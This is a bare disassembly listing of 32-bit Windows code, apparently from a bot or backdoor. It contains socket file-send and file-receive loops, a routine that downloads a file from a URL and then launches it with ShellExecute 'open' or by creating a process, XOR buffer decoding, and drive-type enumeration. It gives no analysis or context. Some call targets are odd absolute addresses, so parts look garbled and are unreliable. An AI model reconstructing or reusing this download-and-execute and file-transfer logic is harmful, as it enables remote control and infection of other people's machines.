		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9E4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA10
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380D0
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB988
		push	dword ptr [ebp-2Eh]
		call	dword_4CB914
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CBA0C
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FF4
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2750765h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380B0
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		call	near ptr 2790ABEh
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24
		push	eax
		call	dword_4CB9E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438098
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9CC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438080
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_43805C


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA7C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 27D0000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2730000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA34
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9FC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438030
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA7C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA7C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438018
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA7C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AD0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2750765h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_438194
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_438164
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_438144


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9E0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438018
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 2710000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438118
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA7C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB8E8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2750765h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438360
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		call	near ptr 26B0BDDh
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8F0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2740000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438338
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438310


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382E4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26B0BDDh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382BC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_438284
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB950
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438268
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_438224
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB98
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 26802DCh
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB93C
		call	sub_4188A6
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381F0
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381C4


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA18
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3608
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA44
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383B4
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383B0
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8D4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
